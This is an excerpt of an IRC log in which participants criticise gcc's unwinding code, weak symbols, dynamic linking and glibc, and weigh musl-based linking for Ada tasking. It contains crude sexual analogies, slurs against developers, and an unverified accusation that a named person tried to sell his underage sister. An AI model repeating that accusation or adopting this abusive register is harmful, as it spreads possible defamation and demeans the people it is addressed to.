foss/gcc/glibc/whatever "magic inside!!!" 1897396;1550412965;mircea_popescu;turns out chewing gum 1897397;1550412976;asciilifeform;aaha 1897398;1550413018;*;asciilifeform had this 'third eye' moment some time circ '04 , when digging inside opensores lisps 1897399;1550413038;asciilifeform;*circa '04 1897400;1550413295;asciilifeform;bvt: http://bvt-trace.net/2019/02/gnat-zero-cost-exceptions-and-asynchronous-task-aborting-part-2/comment-page-1/#comment-7 1897401;1550413500;mircea_popescu;coincidentally : is anyone from the adacore/gnat/gnarl/whatever days still breathing even ? or 100% bolix situation, "documents at warehouse, i am machinist in charge" ? 1897402;1550413573;asciilifeform;mircea_popescu: adacorpse appears to be inbiz, but hard to say when last did anyffin useful ( see e.g. https://www.adacore.com/press ) 1897403;1550413588;mircea_popescu;and in likbez-mp : can anyone explain "weak symbols" as a concept to me without making it sound like a hack ? 1897404;1550413627;feedbot;http://thetarpit.org/posts/y05/084-gutenberg-ii.html << The Tar Pit -- gutenberg.org part zwei, a dissection 1897405;1550413631;mircea_popescu;because i can't shake this very strong http://btcbase.org/log/2016-01-21#1379603 flavour from "we don't know if this symbol is defined or not so we half-define it just in case" 1897406;1550413631;a111;Logged on 2016-01-21 13:29 asciilifeform: 'if i make it what i think is the right size, it crashes!111' 1897407;1550413647;asciilifeform;mircea_popescu: it's a hack, of exactly that species ( see e.g. https://archive.is/vTHJi ) 1897408;1550413649;mircea_popescu;"but the mechanism for symbol clashing exists for a reason" 1897409;1550413683;mircea_popescu;asciilifeform why not do it properly then, get rid of symbol clashing as a concept altogether, let everything be the last thing it was and be done with it. 1897410;1550413706;asciilifeform;mircea_popescu: cuz it'd break ~100% of extant c soup 1897411;1550413769;mircea_popescu;"socialism doesn't do things properly, it's against the religion. errything must be sorta-halvsies and then [http://trilema.com/2018/the-problem-with-christians/#selection-47.0-47.74][forgiven]. " 1897412;1550413772;*;asciilifeform holds that the gnu sepsis is a direct and inevitable result of ~how c worx~ 1897413;1550413789;mircea_popescu;asciilifeform what about c makes you not know wtf you're linking ? 1897414;1550413829;asciilifeform;mircea_popescu: the part where you can #include 1897415;1550413832;BingoBoingo; maybe just link it ; but even so i'm nopt sure what "uch offers and promises none of these cities would abide the tin woman passing his dick pic around to all her friends that aren't him" means. << ties into the second archive link where... gossip rags are trying to monetize his sexts 1897416;1550413835;asciilifeform;without saying where is foo 1897417;1550413896;mircea_popescu;asciilifeform so basically it all comes down to a gns absence issue ? 1897418;1550413910;asciilifeform;or even 'v absence' 1897419;1550413911;mircea_popescu;if they had fully qualified descriptors instead of "filename" it'd be all rosy ? 1897420;1550413953;asciilifeform;not simply 'fully qualified' , but with knowledge of wtf the item ~is~ 1897421;1550413975;asciilifeform;as it is, there could be 9000 variants of foo, and on same machine you'll find 900 of'em 1897422;1550413983;asciilifeform;and all , to naked eye, 'same' 1897423;1550413997;mircea_popescu;yeah, needs a v. 1897424;1550414012;mircea_popescu;treeless identity also meaningless. 1897425;1550414025;asciilifeform;mircea_popescu: unixtardism suffers from the full spectrum of the idjicies outlined in that 'what gets mircea_popescu raging' article 1897426;1550414036;asciilifeform;from rampant 'substitute unlikes as likes' and onward 1897427;1550414070;asciilifeform;the proggies are shite not the least because author ~has nfi what he's throwing into the pot~ 1897428;1550414080;asciilifeform;and whole 'culture' of the lang is formed around this 1897429;1550414097;mircea_popescu;(note that the tempting "obvious" approach -- describe foo then!!! -- is not only fucking broken, but broken in the exact way minsky wasted life trying to produce. there can not be ~description~, the only way to induce meaning in the machine is through filiation. v-produced foo has a very strict "wtf is it ??" answer associated, but also very fine and not structure-driven.) 1897430;1550414100;asciilifeform;!#s ifdefism 1897431;1550414101;a111;7 results for "ifdefism", http://btcbase.org/log-search?q=ifdefism 1897432;1550414103;asciilifeform;^ for instance 1897433;1550414182;mircea_popescu;in fact, there's a long line of illustrious ancestors who, having spotted this problem (wtf is foo ?!) attempted to solve it ~the very wrong way~, ie, by definition. hence not just ai winter, but microscopically naggum's sgi misadventures and so on. 1897434;1550414184;asciilifeform;even e.g. #include would've been improvement 1897435;1550414215;mircea_popescu;you can not in fact define symbols after the fact (and i don't mean just the elf technical term -- all symbols). the only way to define a symbol is by its parents. 1897436;1550414248;mircea_popescu;asciilifeform yes, but you see it as an improvement because you perceive it forces their hands down the right path, whether they want to or not. it's a rapeprovement. 1897437;1550414360;asciilifeform;the infestation is deep enuff that you quite obv could not make above example actually build reliably on any extant unix. the entire notion of 'portability' as pictured by unixtards (i.e. powered by #ifdefism) precludes it. 1897438;1550414363;mircea_popescu;BingoBoingo ah right, there was all that huh. american industries. 1897439;1550414371;asciilifeform;'what if you have a vax-flavoured foo.h' etc 1897440;1550414490;asciilifeform;in turn, foo.h churns, churns, 9000 new versions in 6 months, cuz c intrinsically is a '10 lines contain 14 bugs' lang by virtue of sheer obfuscatory ugh ( who can say e.g. how many off-by-ones in http://archive.is/89adR#selection-9.11980-9.13314 ? in all possible calling contexts.. ) 1897441;1550414507;asciilifeform;spittoon -- is in 1 strand. 1897442;1550414547;mircea_popescu;well my dear alfie... you build it and see if it crashes. when it stopped crashing, you either got rid of all off-by-ones 1897443;1550414556;mircea_popescu;or else you have a workable even set of them 1897444;1550414561;mircea_popescu;workably even* 1897445;1550414561;asciilifeform;lol 1897446;1550414569;asciilifeform;there's yer 'workable' set , right there, linked. 1897447;1550414576;mircea_popescu;aha. 1897448;1550414614;mircea_popescu;there's programmers, and then there's fuzzgamers. which are more like gamers than grammers. 1897449;1550414657;asciilifeform;pogrommers. (in the words of an ex- asciilifeform chix ) 1897450;1550414721;mircea_popescu;asciilifeform i don't fucking get it, just HOW FUCKING MANY symbols are they dealing with here ? by the sheer desperation screaming out of the code you'd think a compile produces at least 5 trillion of them. 1897451;1550414730;asciilifeform;it does 1897452;1550414741;asciilifeform;cuz it pulls in ~whole box 1897453;1550414745;mircea_popescu;which it does not, when's the last time you had 1mn. wtf is all this tim's wondermachines steampunk idiocy for ? can just sort a fucking list 1897454;1550414757;asciilifeform;'dynamic link' makes it 'easy' to pull in literally trillion symbols. 1897455;1550414763;mircea_popescu;nuts. 1897456;1550414785;asciilifeform;( with added 'bonus' that you dun even know ~which~ , necessarily, recall dload() ) 1897457;1550414787;mircea_popescu;but as a factual matter -- object files end up a few mb, and they're not 100% symbol by mass. you jsut can not have this many. 1897458;1550414798;asciilifeform;dynamic! it dun even gotta appear in the obj. 1897459;1550414804;mircea_popescu;oh ffs. 1897460;1550414807;asciilifeform;can be computed at runtime. 1897461;1550414812;asciilifeform;( witnessed in e.g. koch ) 1897462;1550414813;mircea_popescu;so why all this bs, again ? just so nobody has to know what they;'re doing ? 1897463;1550414840;asciilifeform;originally cuz iron & os babel. 1897464;1550414845;asciilifeform;that's the prime mover. 1897465;1550414870;mircea_popescu;gcc_assert (sizeof (const fde *) == sizeof (const fde **)); 1897466;1550414913;asciilifeform;^ all gnutardisms are fulla this. cuz otherwise fat change anyone could come up with even a helloworld that builds at all. 1897467;1550414935;asciilifeform;vtronicism-ducttape. 1897468;1550414955;mircea_popescu;see, engineers are worse than whores. a whore might pretend like she's not working, but an engineer does inept shit like "/* This should optimize out, but it is wise to make sure this assumption is correct. Should these have different sizes, we cannot cast between them and the overlaying onto ERRATIC will not work. */" so as to ~pretend~ like he doesn't see WHY exactly he wants to take that code out. seriously, ooga-booga-bu 1897469;1550414955;mircea_popescu; oooga-booga-bubu ? 1897470;1550414987;asciilifeform;whore in some ways has better working condition -- at least she knows will not have to fuck tyrannosaur. 1897471;1550415001;mircea_popescu;knows no such thing. 1897472;1550415002;asciilifeform;whereas engineer entirely might be given such , as a routine matter 1897473;1550415032;asciilifeform;mircea_popescu: cocks have at least something resembling a bound parameter. 1897474;1550415080;asciilifeform;whore can look in guiness book and know approx what will have to take in. engineer on other hand will be given 'proggy may have to run on vax , and microshit, and ... ' 1897475;1550415090;mircea_popescu;btw, you ever encountered "Bărbaţii-s făcuţi din carne, femeile - din oţel. Ar fi trebuit să fie invers, dar Dumnezeu mai greşeşte şi el... 1897476;1550415090;mircea_popescu;Femeile zic că-s din carne, bărbaţii că-s din oţel, şi de-aia e noaptea-ntuneric şi viaţa e un hotel..." ro poem ? 1897477;1550415114;asciilifeform;loox familiar, i suspect it was in a trilema piece 1897478;1550415120;asciilifeform;but cannot presently recall which 1897479;1550415122;mircea_popescu;possibru! 1897480;1550415193;mircea_popescu;(for completeness, approx - "men are of flesh, women, of steel. it shoul've been the other way around, but god's hunchback and not above mistakes ; women say they're flesh, men claim to be steel -- which is why it's dark at night and life a hotel" 1897481;1550415326;mircea_popescu;asciilifeform in other news, if they ever send you to http://btcbase.org/log/2019-02-02#1891380 ima suggest your punishment be you hafta literate code extant gnu offerings. you may not change any code, just add comments. 1897482;1550415326;a111;Logged on 2019-02-02 01:57 asciilifeform: i suppose will also work a++ for asciilifeform's peine forte et dure!11 1897483;1550415363;asciilifeform;iirc diana_coman already did some time in that joint , when walked koch's thing 1897484;1550415369;asciilifeform;( and asciilifeform -- trb ) etc 1897485;1550415374;mircea_popescu;aha. 1897486;1550415413;asciilifeform;asciilifeform does ~this for bread, currently, so arguably already condemned to this 1897487;1550415421;mircea_popescu;diana_coman is there some way to count the linker objects next time you compile say eulora ? 1897488;1550415443;asciilifeform;mircea_popescu: afaik in diana_coman's case it is trivial, cuz static link. 1897489;1550415445;mircea_popescu;i really have trouble believing the trillion thing. 1897490;1550415460;mircea_popescu;asciilifeform so what should i count, kernel ? 1897491;1550415476;asciilifeform;objdump --syms eulora | wc -l 1897492;1550415503;asciilifeform;granted this aint recursive 1897493;1550415531;asciilifeform;( i.e. satan himself only knows what syms ~each sym~ drags in ~internally~ ) 1897494;1550415542;asciilifeform;in particular elf you only see what it 'externs' 1897495;1550415544;mircea_popescu;right ? 1897496;1550415583;asciilifeform;you dun see what the called routines 'externed', cuz you had built the libs statically, they pulled in what they pulled in 1897497;1550415598;asciilifeform;( that part will no longer appear as exported symbols, obv ) 1897498;1550415654;asciilifeform;if you walk ~entire box~ and count symbols, you can get an approximation of the 'universe' count 1897499;1550415692;mircea_popescu;objdump --syms eulora-0.1.2b/euclient | wc -l >>7 1897500;1550415703;asciilifeform;( this is where asciilifeform cannot resist to 'on bolix, you simply ask the box what all symbols are, and can get source for whichever you point at' etc ) 1897501;1550415730;mircea_popescu;ie, not very useful. 1897502;1550415737;asciilifeform;i'm surprised answer wasn't '1' 1897503;1550415753;diana_coman;mircea_popescu, I'm not aware of anything that actually does that reliably 1897504;1550415774;asciilifeform;as i understand, it cannot be done reliably on a unix, period. 1897505;1550415779;mircea_popescu;diana_coman myeah. i guess it'd take a patch on gcc, which is too much hassle atm. 1897506;1550415785;asciilifeform;the process of linking is lossy from pov of symbol count. 1897507;1550415796;mircea_popescu;ahahaha jesus fuck this is incredible. 1897508;1550415816;mircea_popescu;"/* The count field we have in the main struct object is somewhat limited, but should suffice for virtually all cases. If the counted value doesn't fit, re-write a zero. The worst that happens is that we re-count next time -- admittedly non-trivial in that this implies some 2M fdes, but at least we function. */" 1897509;1550415821;asciilifeform;mircea_popescu: c linking is simply automated cut&paste. 1897510;1550415835;asciilifeform;ahahaha typical 1897511;1550415836;mircea_popescu;asciilifeform see, i got horse's mouth number instead : ~2mn. ie, i was right! HA-HA! 1897512;1550415845;mircea_popescu;besides -- at least they function. 1897513;1550415870;asciilifeform;lol right function, until you bake build where 2mil + 1 1897514;1550415880;mircea_popescu;it adds a zero! 1897515;1550415898;mircea_popescu;look for yourself, i've never seen such wonders in whole lyf before! http://archive.is/89adR#selection-9.20821-9.21149 1897516;1550415900;asciilifeform;mircea_popescu: you gotta read the gnu malloc sores sometime. very similar 'thinking'. 1897517;1550415963;mircea_popescu;anyway. seems gcc has a baked-in "max 2097152 symbols" 1897518;1550415974;asciilifeform;( spoiler : heapism per se is a solution to a problem that is ill-posed , and therefore impossible for malloc to be anyffin but an elaborate http://btcbase.org/log/2016-01-21#1379603 ) 1897519;1550415974;a111;Logged on 2016-01-21 13:29 asciilifeform: 'if i make it what i think is the right size, it crashes!111' 1897520;1550416017;asciilifeform;mircea_popescu: rright, but that's ~per build~, and ea. build destroys symbols ( in the sense that they got statically pumped into the bin, and no longer 'exported' ) 1897521;1550416027;mircea_popescu;so ? 1897522;1550416048;asciilifeform;so it tells you 0 about the total # of syms on the machine 1897523;1550416050;mircea_popescu;it's per-instance-of-the-weirdo-optimized-two-head-horse-with-six-earhooves sorting mechanism above runs. 1897524;1550416079;mircea_popescu;ie, the thing they "optimized" into insanity never actually has to sort more than mn-level items, ie, no ufcking need to be made out of boats floating on billiard table 1897525;1550416086;asciilifeform;rright, and this process eats a buncha libs, with n1, n2, ... nN syms in ea., and shits out e.g. another lib, that exports only 7. 1897526;1550416093;asciilifeform;so anyffin linking ~that~ will eat 7 + its own. 1897527;1550416099;mircea_popescu;sure. but we're not discussing the same thing here. 1897528;1550416099;asciilifeform;and produce e.g. lib with 2. 1897529;1550416112;asciilifeform;i thought mircea_popescu posed q of 'how many symbols on machine'. 1897530;1550416227;mircea_popescu;the problem was : as per http://btcbase.org/log/2019-02-17#1897450 seen in http://btcbase.org/log/2019-02-17#1897382 -- is there call or isn't there call for such elaborate nonsense. the answer to this problem lies in the size of the dataset, if truly huge then ~perhaps~, but if small certainly not. then we had a discussion to establish whether large or small, which died on the facts, but i resurrected on culprit confession : 1897531;1550416227;a111;Logged on 2019-02-17 14:45 mircea_popescu: asciilifeform i don't fucking get it, just HOW FUCKING MANY symbols are they dealing with here ? by the sheer desperation screaming out of the code you'd think a compile produces at least 5 trillion of them. 1897532;1550416227;a111;Logged on 2019-02-17 14:10 mircea_popescu: now in other lulz, check this out : http://archive.is/89adR#selection-9.9948-9.10055 "This is a special mix of insertion sort and heap sort, optimized for the data sets that actually occur." 1897533;1550416227;mircea_popescu; they themselves admit 2mn is an upper bound, BY WHICH TOKEN they themselves admit the complification was spurious. 1897534;1550416309;*;asciilifeform suspects that the '2mil' figure they got from 'how many in kernel 2.6 and let's times three' or similar 1897535;1550416318;mircea_popescu;quite likely. 1897536;1550416331;mircea_popescu;well, either that or they o(N) + n log n for some values of N, n. 1897537;1550416382;asciilifeform;the type of people who cannot stomach this type of 'thinking', 'engineering', end up self-retiring from unixism entirely, they eat pistol, or learn to run a crane, etc 1897538;1550416389;asciilifeform;this leaves who it leaves. 1897539;1550416459;asciilifeform;y'know, sorta like how botulinum secretes its magic juice, so nuffin else eats the carcass. 1897540;1550416469;mircea_popescu;ie, there's occasions where insanity has its place (go no further than http://btcbase.org/log/2015-04-29#1115740 ). but this fashion among the scriptkiddies/gnu-amateur crowd for insanity is improductive 1897541;1550416469;a111;Logged on 2015-04-29 13:25 mircea_popescu: "Put another way, grep sells out its worst case (lots of partial matches) to make the best case (few partial matches) go faster. How treacherous! As this realization dawns on me, the room seemed to grow dim and slip sideways. I look up at the Ultimate Unix Geek, spinning slowly in his padded chair, and I hear his cackle "old age and treachery...", and in his flickering CRT there is a face reflected, but it's my ex girl 1897542;1550416501;asciilifeform;aka 'worse is better'(tm) 1897543;1550416539;asciilifeform;( with the bonus lul, that sometimes somebody walks in with a http://www.loper-os.org/?p=2906 , and then simply has to 'unhappen' ) 1897544;1550416588;asciilifeform;( cuz, spoiler, 'worse' aint ~factually~ 'better' , aside from 'stupidity has infinite hit points' ) 1897545;1550416620;mircea_popescu;are you discussing the specific case of grep there ? because i do believe it's a sound tradeoff. 1897546;1550416662;asciilifeform;it's 'sound tradeoff' until it aint (e.g. you have system where 'allcomers' can trigger a grep on a data set they crafted, and yer box grinds to a halt ) 1897547;1550416715;asciilifeform;mircea_popescu: applicable to all cases where gnarly 'optimized for typical, and we think we know what is typical' 1897548;1550416760;mircea_popescu;but i do know what's typical in at least some cases. which is why my kitchen doesn't have a fast food counter. 1897549;1550416779;asciilifeform;( 'but asciilifeform ! grep aint meant to run on hostile inputs !' 'guess wat, unix aint meant to run outside of locked mit hall with 4 pdp-8 in it either' ) 1897550;1550416806;asciilifeform;mircea_popescu: yer kitchen is a closed system , in the http://btcbase.org/log/2019-02-17#1897470 sense 1897551;1550416806;a111;Logged on 2019-02-17 14:49 asciilifeform: whore in some ways has better working condition -- at least she knows will not have to fuck tyrannosaur. 1897552;1550416820;mircea_popescu;you can't go around simply solving the most general case of everything. precisely because such a thing as closed system exists. 1897553;1550416832;asciilifeform;i.e. mircea_popescu actually knows that it dun need a deep fryer cuz wtf , it cannot be spontaneously filled with mcd eaters 1897554;1550416841;mircea_popescu;precisely. 1897555;1550416844;asciilifeform;whereas unix.. 1897556;1550416847;mircea_popescu;yes ? 1897557;1550416863;mircea_popescu;what, i get the luxury of a door lock but programming environment must take all comers ? 1897558;1550416910;asciilifeform;unix tries to 'be all possible kitchen' and appears to 'succeed', via fraudulently slipping in 9000 unprincipled-exceptions (hardcoded limits, not only in gcc, but even 'ls' , see old thrd, and moar or less errywhere ) , and 'optimizations' 1897559;1550416922;mircea_popescu;myeah. 1897560;1550416977;mircea_popescu;holy shit, EVERY SINGLE THING. look here : 1897561;1550416978;mircea_popescu;" /* Take care to ignore link-once functions that were removed. In these cases, the function address will be NULL, but if the encoding is smaller than a pointer a true NULL may not be representable. Assume 0 in the representable bits is NULL. */" 1897562;1550416998;mircea_popescu;why the fuck would you use encodings SMALLER than the bus width ?! 1897563;1550417010;asciilifeform;antediluvian os (e.g. tops-10 et al) at least had hard limits printed in manual 1897564;1550417016;asciilifeform;rather than pretense of 'infinite' 1897565;1550417035;mircea_popescu;and why would you assume what broken notation means. 1897566;1550417064;asciilifeform;bonus: 'null' aint 0 on any extant box. 1897567;1550417072;mircea_popescu;right ?! 1897568;1550417074;asciilifeform;aaha. 1897569;1550417078;mircea_popescu;why not pick FB. 1897570;1550417088;mircea_popescu;i mean, FB and 00 are equally likely to be fragment of null pointer. 1897571;1550417115;asciilifeform;cuz, see, he feels free to 'assume', because anyone who doesn't, who demands to ~know~ before shooting, will have dropped out of school when faced with unixtardation 1897572;1550417131;mircea_popescu;i can't believe this works. 1897573;1550417148;mircea_popescu;what "ask the fellows to patch gcc, fix this one error we have". wtf, how do i ask this ?! 1897574;1550417185;asciilifeform;y'know , all those listservs where the muppets shit out multiple MB erry day , that's where they 'ask' one another 1897575;1550417203;asciilifeform;( naturally if you aint one of'em, can ask until the cows come home. recall mircea_popescu's letter to rms ? ) 1897576;1550417319;mircea_popescu;shoulda sent him some pennies, http://btcbase.org/log/2012-09-16#-267346 item cost the tard in question 500 bux or somethjing like that iirc. 1897577;1550417319;a111;Logged on 2012-09-16 01:14 mircea_popescu: no. 1897578;1550417324;asciilifeform;and all of this sepsis, comes from machine where there aint (and cannot be) any such thing as global symbol space, where pointer does not store any info re wtf it points to, nor does a block of code know that it is a block of code , nor lolcat gif knows that it is an array, etc 1897579;1550417353;asciilifeform;and in turn heapism hacks , from machine that has nfi how to partition memory meaningfully, etc. 1897580;1550417364;asciilifeform;( could go on, but i sorta have an entire www re subj... ) 1897581;1550417410;mircea_popescu;http://btcbase.org/log/2012-09-16#-267418 http://btcbase.org/log/2012-09-16#-267417 http://btcbase.org/log/2012-09-16#-267352 http://btcbase.org/log/2012-09-16#-267349 for context. 1897582;1550417410;a111;Logged on 2012-09-16 01:03 mircea_popescu: dude stop faking it, seriously. you, taaki and his sister showed up. nobody cares, fo reals. 1897583;1550417410;a111;Logged on 2012-09-16 01:03 nefario: stallman seemed like he was going to cry 1897584;1550417410;a111;Logged on 2012-09-16 01:12 Diablo-D3: why the fuck did rms even show up 1897585;1550417410;a111;Logged on 2012-09-16 01:12 mircea_popescu: Diablo-D3 because by now not that many people can be bothered to invite him anywhere. 1897586;1550417428;asciilifeform;could link to the x60 affair also. 1897587;1550417434;asciilifeform;imho typical 'living mushroom' fare. 1897588;1550417469;mircea_popescu;(the sister in question being the 15yo http://trilema.com/2012/amir-taaki-has-done-and-continues-to-do-huge-disservice-to-anyone-serious-involved-in-bitcoin/ schmuck was trying to sell for bitcoins as a "totally legit enterpreneurial enterprise" coupla years priors) 1897589;1550417500;asciilifeform;( asciilifeform's unifying theory, is that living in c ecosystem turns ~all~ inhabitants, after enuff yrs, into a kind of rms; sorta like black lung of coal miner ) 1897590;1550417506;mircea_popescu;and the entirely fucktarded morons go about talking of this same schmuck in terms of some heroism or other, truly there's nothing more disgusting extant or imaginable than "people themselves" with their "democratically elected options" and whatnot. 1897591;1550417577;mircea_popescu;amir taaki is a dude who was trying to pimp his underage sister ten years ago. that's all, what the fuck already. 1897592;1550417623;mircea_popescu;clearly immigration to the uk worked out. 1897593;1550417648;asciilifeform;https://archive.is/xIdrE#selection-63.5240-63.6234 << oblig naggum. 1897594;1550417669;asciilifeform;( was re cpp, but entirely valid point re unix architecture in general ) 1897595;1550417706;mircea_popescu;aanyways, thanks to bvt 's reading material i am well spooked. wtf do we even do, now ? 1897596;1550417767;asciilifeform;mircea_popescu: if it were asciilifeform's proggy, asciilifeform would http://btcbase.org/log/2019-02-12#1895596 1897597;1550417767;a111;Logged on 2019-02-12 23:36 asciilifeform: the avionics people seem to use it, but they (near as i was able to learn) dun kill tasks at all, and regard any detected wedge as a http://btcbase.org/log/2019-02-12#1895456 condition 1897598;1550417780;mircea_popescu;zcx doesn't work, sjlj is broken and glibc is beyond salvation. 1897599;1550417793;mircea_popescu;asciilifeform the issue is to come up with a linking scheme we can actually use. 1897600;1550417830;asciilifeform;mircea_popescu: unless i misread bvt's piece, the bugola is only triggered when tasks are permitted to terminate. 1897601;1550417860;mircea_popescu;yeah ? 1897602;1550417891;mircea_popescu;"house only explodes when you turn on water faucet" is not an answer here. 1897603;1550417908;asciilifeform;so consider what the airplane people do. they dun terminate. instead populate with N threads, where N is the # of physical cpu, and they can idle or work as demanded. 1897604;1550417918;asciilifeform;this btw is how asciilifeform implemented phuctor backend. 1897605;1550417951;mircea_popescu;cute, but not useful. we gotta have a programming environment, not a programming cardboard. 1897606;1550417963;asciilifeform;mircea_popescu: 'house explodes when i turn on the hydrogen faucet' 'why do you have a hydrogen faucet ?' 1897607;1550417974;mircea_popescu;we do not agree. 1897608;1550417992;asciilifeform;mircea_popescu: the real q is , what subset of the claimed extant functionality adds up to a programming environment. 1897609;1550417998;asciilifeform;( i.e. working subset ) 1897610;1550418035;mircea_popescu;we're kinda discovering by doing here. but user-controls-machine is certainly in there. 1897611;1550418058;asciilifeform;this is factually not the case on unix tho. good % of the control is illusory ( see e.g. the zombie thread ) 1897612;1550418063;asciilifeform;or the 'seppuku of son' 1897613;1550418096;asciilifeform;what we did, is to poke with awl until punctured some of the illusions. 1897614;1550418096;mircea_popescu;i intend to approach hardware breakage at hardware level. 1897615;1550418112;asciilifeform;that's asciilifeform's tack. 1897616;1550418129;mircea_popescu;something like "keep two of everything and throw out anything that behaves in any way contrary to your illusion no matter what happens". 1897617;1550418133;mircea_popescu;is a good start. 1897618;1550418150;mircea_popescu;i find it works fine with people ; and it'll work doubleplusfine with hardware. let it adapt to my needs or die. 1897619;1550418191;asciilifeform;it worx great with hardware. except when it's connected like on pc, where 1 hosed device can fandango over entire ram. or handled as on unix, where i/o will happily zombie out on unplugged $gadget etc 1897620;1550418218;mircea_popescu;so it'll come to more boxes, whatever. 1897621;1550418224;mircea_popescu;the principle ain't changing to fit the world. 1897622;1550418261;mircea_popescu;s.mg is perfectly willing to eventually erect torture chamber where shamed boxes ritualistically destroyed for their sins. 1897623;1550418262;asciilifeform;this is how the 'cloud' people ended up with their circus. 'pc is broken' 'what if you connect 9000 pc' 1897624;1550418305;asciilifeform;mircea_popescu: i'm sitting in something quite resembling such chamber as we speak. 1897625;1550418321;mircea_popescu;proof positive method works!!! 1897626;1550418425;asciilifeform;to revisit orig upstack thrd : pc dun offer iron locks. so threading relies on software locks, that 'work' in the sense where gcc is relied on to shit'em out correctly. what bvt appears to have found , is that (under particular inputs) it doesn't. 1897627;1550418434;mircea_popescu;so leaving hardware alone, "zombie thread because northbridge went south" etc -- we still need a linking scheme that works. 1897628;1550418441;asciilifeform;this is theoretically fixable. the sad part tho is that gcc is a potentially ~bottomless well of these. 1897629;1550418456;mircea_popescu;well, could also link against musl, ban glibc 1897630;1550418471;asciilifeform;that was settled in 2015 iirc. 1897631;1550418485;asciilifeform;glibc has 0 biz in tmsr proggy. 1897632;1550418503;asciilifeform;quite obv, any fix will have to fix musl. 1897633;1550418514;mircea_popescu;in any case, this is a major decision / inflexion point, and we truly need all hands on deck for this, i'm not equipped with the right chicken darts to throw at guts / read feathers thereof. 1897634;1550418533;mircea_popescu;so is basically the idea what we want is to get sjlj to work on musl for ada proggies ? or what ? 1897635;1550418534;asciilifeform;( half the reason why asciilifeform dug out musl, is that it's compact enuff to be fixable, at least in principle ) 1897636;1550418578;asciilifeform;mircea_popescu: it already worx , afaik, on musl, ave1's gnat shits out strictly musl-static linkage. 1897637;1550418591;asciilifeform;but remains to be established if bvt's bug afflicts it. 1897638;1550418613;mircea_popescu;some time to look at things and consider matters will be needed ; but i specifically want to hear something from asciilifeform ave1 bvt diana_coman phf spyked trinque 1897639;1550418621;asciilifeform;mircea_popescu: the diana_coman-bin we disasmed yesterday , is musltronic. 1897640;1550418627;asciilifeform;as is all current test build of ffa, etc 1897641;1550418678;mircea_popescu;asciilifeform yes. but to my knowledge to date musl was a preference rather than a standard. we never said "no more glibc linking" as we said eg http://btcbase.org/log/2018-09-19#1851879 1897642;1550418678;a111;Logged on 2018-09-19 17:47 mircea_popescu: but anyway : NO NEW WORK ON SHA PLOX. USE KECCAK. 1897643;1550418684;asciilifeform;mircea_popescu: imho the near-term thing to do is for bvt to get the gcc5sim, glibcism, out of his test setup. then can proceed to fix bugs that we actually have in the house, rather than liquishit that only afflicts glibctards. 1897644;1550418699;asciilifeform;mircea_popescu: we did. recall the 'nss' incident. 1897645;1550418706;mircea_popescu;link ? 1897646;1550418711;asciilifeform;was found that glibc actually prohibits static linkage. 1897647;1550418725;asciilifeform;!#s libnss 1897648;1550418726;a111;62 results for "libnss", http://btcbase.org/log-search?q=libnss 1897649;1550418738;asciilifeform;e.g. http://btcbase.org/log/2015-04-29#1115985 1897650;1550418738;a111;Logged on 2015-04-29 16:28 mod6: so libnss is dynamically compiled and built/linked to glibc, and can not be avoided? 1897651;1550418749;asciilifeform;it was subj of mircea_popescu's letter to rms, and the associated lulz 1897652;1550418760;mircea_popescu;http://btcbase.org/log/2015-04-29#1116015 << ? 1897653;1550418760;a111;Logged on 2015-04-29 16:41 mircea_popescu: you can't go "oh i don't use libnss anyway". you probably are. 1897654;1550418766;asciilifeform;when uncovered that drepper (maintainer of glibc) deliberately broke static linkage globally 1897655;1550418791;asciilifeform;this was a 2015 find. after which asciilifeform immediately proceeded to get glibc the hell out of trb. 1897656;1550418792;mircea_popescu;http://btcbase.org/log/2015-04-06#1089996 ? 1897657;1550418792;a111;Logged on 2015-04-06 18:19 mircea_popescu: what's now needed is an expert computer engineer willing and able to take over maintenance of libnss, starting with fixing it so it allows proper static linking. 1897658;1550418797;mircea_popescu;which line am i looking at here ? 1897659;1550418804;asciilifeform;mircea_popescu: this was a ~3 month thread 1897660;1550418814;mircea_popescu;ok but you're breaking form here. 1897661;1550418818;asciilifeform;i dun think anyone's compressed it into a compact chronology of yet 1897662;1550418822;asciilifeform;( possibly nicoleci job ? ) 1897663;1550418838;mircea_popescu;yes, no glibc was in fact a preference, and we got it out, of trb, of eulora, etc. no argument there. 1897664;1550418850;asciilifeform;and out of gnat. 1897665;1550418855;asciilifeform;ave1's entire project. 1897666;1550418864;mircea_popescu;nevertheless, we never actually said "do not use this". 1897667;1550418865;asciilifeform;glibc is simply poison. 1897668;1550418889;asciilifeform;( e.g. 'bash bug', also drepper , also via glibc ) 1897669;1550418922;mircea_popescu;anyway, this can rest nao, 1897670;1550418926;asciilifeform;item is ~10x the mass of musl, and fulla 'surprises' that erry time turned out to be architecturally baked in. 1897671;1550418928;*;mircea_popescu shall give it some time to hear from people. 1897672;1550418928;asciilifeform;aite 1897673;1550419042;mircea_popescu;afaik everybody up until a week ago when http://btcbase.org/log/2019-02-12#1895231 nobody even compiled ada other than zcx. 1897674;1550419042;a111;Logged on 2019-02-12 13:12 bvt: during the gnat build, the sjlj runtime is built, so it should be possible to switch to it and test. 1897675;1550419066;asciilifeform;mircea_popescu: until diana_coman's test battery, i never even attempted to use the tasking system. 1897676;1550419079;asciilifeform;( none of asciilifeform's items to date, called for it ) 1897677;1550419092;mircea_popescu;and i thought, naivity of naivities and unexamined infantilism of unexamined infantilisms, that sjlj is a quaint artefact of slow yore, meanwhile supplanted by more modern, better alternatives. 1897678;1550419102;mircea_popescu;i actually thought this. i was still thinking this, feb 11th. 1897679;1550419136;mircea_popescu;cuz no, http://btcbase.org/log/2019-02-17#1897391 never really goes away. 1897680;1550419136;a111;Logged on 2019-02-17 14:14 mircea_popescu: asciilifeform one of the larger, more impressive books in my parents' library was "welt der kunst". i couldn't read german, but mom explained it's "the world of art" so it populated my childish immagination for a full decade, until old enough to read it. by that time it disappointed -- not that anything could have lived to heights a kid might build in mind over years. 1897681;1550419150;asciilifeform;mircea_popescu: near as i can tell , zcx is a http://btcbase.org/log/2019-02-17#1897558 , it attempts to implement multiprocess on ~all~ machines, incl. ones that dun have any support for interrupts (e.g http://btcbase.org/log/2019-02-12#1895612 ) 1897682;1550419150;a111;Logged on 2019-02-17 15:21 asciilifeform: unix tries to 'be all possible kitchen' and appears to 'succeed', via fraudulently slipping in 9000 unprincipled-exceptions (hardcoded limits, not only in gcc, but even 'ls' , see old thrd, and moar or less errywhere ) , and 'optimizations' 1897683;1550419150;a111;Logged on 2019-02-12 23:41 asciilifeform: there's a lulzy 'pentagon standard' one, the name presently escapes me, iirc it is in the log tho 1897684;1550419241;asciilifeform;mircea_popescu: ... nor is this the 